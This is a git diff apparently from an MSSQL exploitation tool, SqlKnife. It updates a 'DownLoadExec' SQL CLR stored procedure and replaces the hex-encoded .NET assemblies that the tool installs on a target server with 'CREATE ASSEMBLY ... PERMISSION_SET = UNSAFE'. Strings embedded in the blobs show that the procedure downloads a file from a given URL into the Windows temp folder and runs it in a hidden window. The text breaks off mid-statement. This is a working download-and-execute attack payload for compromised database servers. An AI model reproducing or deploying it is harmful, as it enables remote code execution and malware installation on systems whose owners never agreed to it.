diff --git a/DownLoadExec/DownLoadExec.sqlproj b/DownLoadExec/DownLoadExec.sqlproj index d637088..221a0fd 100644 --- a/DownLoadExec/DownLoadExec.sqlproj +++ b/DownLoadExec/DownLoadExec.sqlproj @@ -16,7 +16,7 @@ 1033, CI BySchemaAndSchemaType True - v3.5 + v4.0 CS Properties False diff --git a/DownLoadExec/SqlStoredProcedure1.cs b/DownLoadExec/SqlStoredProcedure1.cs index f8078eb..92cbfa0 100644 --- a/DownLoadExec/SqlStoredProcedure1.cs +++ b/DownLoadExec/SqlStoredProcedure1.cs @@ -16,7 +16,7 @@ public static void DownLoadExec(string tempfilename) string[] namearry; string url = ""; string dstfile = ""; - if (tempfilename.Contains("")) { + if (tempfilename.Contains(",")) { namearry = tempfilename.Split(','); url = namearry[0]; dstfile = namearry[1]; diff --git a/SqlKnife/MsSqlExploit.cpp b/SqlKnife/MsSqlExploit.cpp index a934283..35ca338 100644 --- a/SqlKnife/MsSqlExploit.cpp +++ b/SqlKnife/MsSqlExploit.cpp @@ -130,13 +130,11 @@ void MsSqlExploit::dofix(ExecMethod type) string sql=""; if (this->isdonet4) { - sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030094A707610000000000000000E00022200B013000000E00000006000000000000F22C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000A02C00004F00000000400000B802000000000000000000000000000000000000006000000C000000682B00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000F80C000000200000000E000000020000000000000000000000000000200000602E72737263000000B8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000D42C0000000000004800000002000500A0220000C80800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133005008C00000001000011730600000A0A72010000700B72010000700C0272010000706F0700000A2C1A02178D0F00000125161F2C9D6F0800000A25169A0B179A0C2B31730900000A0D020B72030000700920E8030000200F2700006F0A00000A13041204280B00000A7225000070280C00000A0C0607086F0D00000A0872250000706F0E00000A2C0C0872010000702802000006262A1B3006007E0100000200001173040000060A730F00000A0B076F1000000A026F1100000A03281200000A2D0C076F1000000A036F1300000A076F1000000A176F1400000A076F1000000A176F1500000A076F1000000A166F1600000A076F1000000A176F1700000A076F1000000A176F1800000A06731900000A7D010000040706FE0605000006731A00000A6F1B00000A140C076F1C00000A26076F1D00000A076F1E00000A6F1F00000A0C076F2000000ADE130D282100000A096F2200000A6F2300000ADE00076F2400000A2D1A282100000A067B010000046F2500000A6F2300000A3895000000731900000A130408281200000A2D091104086F2600000A26067B010000046F2700000A2C201104722F0000706F2600000A261104067B010000046F2500000A6F2600000A26282100000A1C8D0E000001251602A2251703A225187247000070A22519076F2400000A13051205280B00000AA2251A727F000070A2251B1104252D0426142B056F2500000AA2282800000A6F2300000A067B010000046F2500000A2A0000011000000000870021A800130A0000011E02282900000A2A4E027B01000004046F2A00000A6F2600000A262A42534A4201000100000000000C00000076342E302E33303331390000000005006C000000E8020000237E000054030000F803000023537472696E6773000000004C0700008800000023555300D4070000100000002347554944000000E4070000E400000023426C6F620000000000000002000001571502000902000000FA0133001600000100000017000000030000000100000005000000050000002A00000005000000020000000100000003000000010000000000E30101000000000006007401D60206009401D60206004A01C3020F00F602000006006103F4010A005E0176020E00850368030600FB01F4010E003A03C30206000202F40106004802BF0306002F01D6020E001603C3020600C801F40106002B02F40106002700F4010E001A02C3020E00D200C3020E005D02C30206003002360006003D0236000A00CB0376020A0027017602000000002D000000000001000100010010000503000015000100010003011000010000001500010004000600B003970050200000000096005E009B000100E8200000000096008C00A00002008422000000008618BD02060004008422000000008618BD02060004008C220000000083001600A600040000000100F20000000100F600000002005003000001005602000002002C030900BD0201001100BD0206001900BD020A003100BD0206006100BD0206003900BD020600710031031A00710073031F004100BD0206004100BA0326008100C6012C0071005A0330003900B50037007100DA011A004900BD02060049000C024A008900E5004F007100E9035400890042034F008900D60359008900C2005E008900B20159008900A30259008900950359005900BD0206009900BD02640049006B006A0049008F0370004900FF000600490091027400A90082002C00490079030600B1001E0179005100A9002C00B90097004F0049009C007E002900C6012C005900130182005900CF017E0071005A0388002900BD02060069004C002C0020002300DE002E000B00AD002E001300B6002E001B00D50063002B00DE0010003D000480000000000000000000000000000000005E0000000400000000000000000000008E005500000000000400000000000000000000008E004000000000000400000000000000000000008E00F401000000000300020000000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C696200446F776E4C6F616445786563006164645F4F75747075744461746152656365697665640052656164546F456E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D65737361676500446F776E6C6F616446696C65007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650074656D7066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E67746800456E64735769746800446F776E4C6F6164457865632E646C6C0053797374656D0052616E646F6D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F00436861720053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E7441726773006172677300436F6E7461696E730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740053797374656D2E4E65740053706C69740057616974466F724578697400576562436C69656E74005374617274007365745F52656469726563745374616E646172644F7574707574007374644F7574707574004E6578740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900000001002143003A005C00770069006E0064006F00770073005C00740065006D0070005C0000092E00650078006500001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A002000000000007987A0476CC5484EBC2190790575DBB900042001010803200001052001011111090705121D0E0E122108042001020E0620011D0E1D030520020808080320000E0600030E0E0E0E052002010E0E0C0706120C12250E1229122D080420001245042001010E040001020E0420010102052001011149052002011C1805200101124D032000020420001251040000125D03200008052001122D0E0500010E1D0E08B77A5C561934E0890306122D040001010E0500020E0E0E062002011C12350801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F7773010801000200000000000401000000000000000094A7076100000000020000001C010000842B0000840D000052534453FD00D10303042349940157912244F92301000000483A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C446F776E4C6F6164457865635C6F626A5C52656C656173655C446F776E4C6F6164457865632E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000C82C00000000000000000000E22C0000002000000000000000000000000000000000000000000000D42C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005C02000000000000000000005C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004BC010000010053007400720069006E006700460069006C00650049006E0066006F0000009801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000042001100010049006E007400650072006E0061006C004E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F0070007900720069006700680074000000200000004A00110001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000F43C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;"; - + sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103002A5772610000000000000000E00022200B013000000E00000006000000000000F62C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000A42C00004F00000000400000B802000000000000000000000000000000000000006000000C0000006C2B00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000FC0C000000200000000E000000020000000000000000000000000000200000602E72737263000000B8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000D82C0000000000004800000002000500A0220000CC0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133005008C00000001000011730600000A0A72010000700B72010000700C0272030000706F0700000A2C1A02178D0F00000125161F2C9D6F0800000A25169A0B179A0C2B31730900000A0D020B72070000700920E8030000200F2700006F0A00000A13041204280B00000A7229000070280C00000A0C0607086F0D00000A0872290000706F0E00000A2C0C0872010000702802000006262A1B3006007E0100000200001173040000060A730F00000A0B076F1000000A026F1100000A03281200000A2D0C076F1000000A036F1300000A076F1000000A176F1400000A076F1000000A176F1500000A076F1000000A166F1600000A076F1000000A176F1700000A076F1000000A176F1800000A06731900000A7D010000040706FE0605000006731A00000A6F1B00000A140C076F1C00000A26076F1D00000A076F1E00000A6F1F00000A0C076F2000000ADE130D282100000A096F2200000A6F2300000ADE00076F2400000A2D1A282100000A067B010000046F2500000A6F2300000A3895000000731900000A130408281200000A2D091104086F2600000A26067B010000046F2700000A2C20110472330000706F2600000A261104067B010000046F2500000A6F2600000A26282100000A1C8D0E000001251602A2251703A22518724B000070A22519076F2400000A13051205280B00000AA2251A7283000070A2251B1104252D0426142B056F2500000AA2282800000A6F2300000A067B010000046F2500000A2A0000011000000000870021A800130A0000011E02282900000A2A4E027B01000004046F2A00000A6F2600000A262A42534A4201000100000000000C00000076342E302E33303331390000000005006C000000E8020000237E000054030000F803000023537472696E6773000000004C0700008C00000023555300D8070000100000002347554944000000E8070000E400000023426C6F620000000000000002000001571502000902000000FA0133001600000100000017000000030000000100000005000000050000002A00000005000000020000000100000003000000010000000000E30101000000000006007401D60206009401D60206004A01C3020F00F602000006006103F4010A005E0176020E00850368030600FB01F4010E003A03C30206000202F40106004802BF0306002F01D6020E001603C3020600C801F40106002B02F40106002700F4010E001A02C3020E00D200C3020E005D02C30206003002360006003D0236000A00CB0376020A0027017602000000002D000000000001000100010010000503000015000100010003011000010000001500010004000600B003970050200000000096005E009B000100E8200000000096008C00A00002008422000000008618BD02060004008422000000008618BD02060004008C220000000083001600A600040000000100F20000000100F600000002005003000001005602000002002C030900BD0201001100BD0206001900BD020A003100BD0206006100BD0206003900BD020600710031031A00710073031F004100BD0206004100BA0326008100C6012C0071005A0330003900B50037007100DA011A004900BD02060049000C024A008900E5004F007100E9035400890042034F008900D60359008900C2005E008900B20159008900A30259008900950359005900BD0206009900BD02640049006B006A0049008F0370004900FF000600490091027400A90082002C00490079030600B1001E0179005100A9002C00B90097004F0049009C007E002900C6012C005900130182005900CF017E0071005A0388002900BD02060069004C002C0020002300DE002E000B00AD002E001300B6002E001B00D50063002B00DE0010003D000480000000000000000000000000000000005E0000000400000000000000000000008E005500000000000400000000000000000000008E004000000000000400000000000000000000008E00F401000000000300020000000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C696200446F776E4C6F616445786563006164645F4F75747075744461746152656365697665640052656164546F456E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D65737361676500446F776E6C6F616446696C65007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650074656D7066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E67746800456E64735769746800446F776E4C6F6164457865632E646C6C0053797374656D0052616E646F6D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F00436861720053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E7441726773006172677300436F6E7461696E730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740053797374656D2E4E65740053706C69740057616974466F724578697400576562436C69656E74005374617274007365745F52656469726563745374616E646172644F7574707574007374644F7574707574004E6578740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D7074790000000100032C00002143003A005C00770069006E0064006F00770073005C00740065006D0070005C0000092E00650078006500001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000000000C0E5BEF03FE9384794737D3B4D98B20200042001010803200001052001011111090705121D0E0E122108042001020E0620011D0E1D030520020808080320000E0600030E0E0E0E052002010E0E0C0706120C12250E1229122D080420001245042001010E040001020E0420010102052001011149052002011C1805200101124D032000020420001251040000125D03200008052001122D0E0500010E1D0E08B77A5C561934E0890306122D040001010E0500020E0E0E062002011C12350801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100020000000000040100000000000000002A57726100000000020000001C010000882B0000880D0000525344536E51C523A46AC94986473044DA185A4C01000000493A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C446F776E4C6F6164457865635C6F626A5C52656C656173655C446F776E4C6F6164457865632E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CC2C00000000000000000000E62C0000002000000000000000000000000000000000000000000000D82C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005C02000000000000000000005C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004BC010000010053007400720069006E006700460069006C00650049006E0066006F0000009801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000042001100010049006E007400650072006E0061006C004E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F0070007900720069006700680074000000200000004A00110001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000F83C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;"; } else { - sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300C5A707610000000000000000E00022200B013000000E00000006000000000000F22C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000A02C00004F00000000400000B802000000000000000000000000000000000000006000000C000000682B00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000F80C000000200000000E000000020000000000000000000000000000200000602E72737263000000B8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000D42C0000000000004800000002000500A0220000C80800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133005008C00000001000011730600000A0A72010000700B72010000700C0272010000706F0700000A2C1A02178D0F00000125161F2C9D6F0800000A25169A0B179A0C2B31730900000A0D020B72030000700920E8030000200F2700006F0A00000A13041204280B00000A7225000070280C00000A0C0607086F0D00000A0872250000706F0E00000A2C0C0872010000702802000006262A1B3006007E0100000200001173040000060A730F00000A0B076F1000000A026F1100000A03281200000A2D0C076F1000000A036F1300000A076F1000000A176F1400000A076F1000000A176F1500000A076F1000000A166F1600000A076F1000000A176F1700000A076F1000000A176F1800000A06731900000A7D010000040706FE0605000006731A00000A6F1B00000A140C076F1C00000A26076F1D00000A076F1E00000A6F1F00000A0C076F2000000ADE130D282100000A096F2200000A6F2300000ADE00076F2400000A2D1A282100000A067B010000046F2500000A6F2300000A3895000000731900000A130408281200000A2D091104086F2600000A26067B010000046F2700000A2C201104722F0000706F2600000A261104067B010000046F2500000A6F2600000A26282100000A1C8D0E000001251602A2251703A225187247000070A22519076F2400000A13051205280B00000AA2251A727F000070A2251B1104252D0426142B056F2500000AA2282800000A6F2300000A067B010000046F2500000A2A0000011000000000870021A800130A0000011E02282900000A2A4E027B01000004046F2A00000A6F2600000A262A42534A4201000100000000000C00000076322E302E35303732370000000005006C000000E8020000237E000054030000F803000023537472696E6773000000004C0700008800000023555300D4070000100000002347554944000000E4070000E400000023426C6F620000000000000002000001571502000902000000FA0133001600000100000017000000030000000100000005000000050000002A00000005000000020000000100000003000000010000000000E30101000000000006007401D60206009401D60206004A01C3020F00F602000006006103F4010A005E0176020E00850368030600FB01F4010E003A03C30206000202F40106004802BF0306002F01D6020E001603C3020600C801F40106002B02F40106002700F4010E001A02C3020E00D200C3020E005D02C30206003002360006003D0236000A00CB0376020A0027017602000000002D000000000001000100010010000503000015000100010003011000010000001500010004000600B003970050200000000096005E009B000100E8200000000096008C00A00002008422000000008618BD02060004008422000000008618BD02060004008C220000000083001600A600040000000100F20000000100F600000002005003000001005602000002002C030900BD0201001100BD0206001900BD020A003100BD0206006100BD0206003900BD020600710031031A00710073031F004100BD0206004100BA0326008100C6012C0071005A0330003900B50037007100DA011A004900BD02060049000C024A008900E5004F007100E9035400890042034F008900D60359008900C2005E008900B20159008900A30259008900950359005900BD0206009900BD02640049006B006A0049008F0370004900FF000600490091027400A90082002C00490079030600B1001E0179005100A9002C00B90097004F0049009C007E002900C6012C005900130182005900CF017E0071005A0388002900BD02060069004C002C0020002300DE002E000B00AD002E001300B6002E001B00D50063002B00DE0010003D000480000000000000000000000000000000005E0000000200000000000000000000008E005500000000000200000000000000000000008E004000000000000200000000000000000000008E00F401000000000300020000000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C696200446F776E4C6F616445786563006164645F4F75747075744461746152656365697665640052656164546F456E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D65737361676500446F776E6C6F616446696C65007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650074656D7066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E67746800456E64735769746800446F776E4C6F6164457865632E646C6C0053797374656D0052616E646F6D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F00436861720053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E7441726773006172677300436F6E7461696E730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740053797374656D2E4E65740053706C69740057616974466F724578697400576562436C69656E74005374617274007365745F52656469726563745374616E646172644F7574707574007374644F7574707574004E6578740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900000001002143003A005C00770069006E0064006F00770073005C00740065006D0070005C0000092E00650078006500001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000000000D8027036B28C2E4093360E4A8BA7928500042001010803200001052001011111090705121D0E0E122108042001020E0620011D0E1D030520020808080320000E0600030E0E0E0E052002010E0E0C0706120C12250E1229122D080420001245042001010E040001020E0420010102052001011149052002011C1805200101124D032000020420001251040000125D03200008052001122D0E0500010E1D0E08B77A5C561934E0890306122D040001010E0500020E0E0E062002011C12350801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F77730108010002000000000004010000000000000000C5A7076100000000020000001C010000842B0000840D00005253445374DEA02AA5466F4ABB18D76D32B11B9A01000000483A5C636F64655C637070636F64655C53716C4B6E6966655C53716C4B6E6966655C446F776E4C6F6164457865635C6F626A5C52656C656173655C446F776E4C6F6164457865632E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000C82C00000000000000000000E22C0000002000000000000000000000000000000000000000000000D42C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF2500200010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005C02000000000000000000005C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004BC010000010053007400720069006E006700460069006C00650049006E0066006F0000009801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000042001100010049006E007400650072006E0061006C004E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C00000000002800020001004C006500670061006C0043006F0070007900720069006700680074000000200000004A00110001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000044006F0077006E004C006F006100640045007800650063002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000F43C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;"; - + sql = "CREATE ASSEMBLY [DownLoadExec] AUTHORIZATION[dbo] FROM 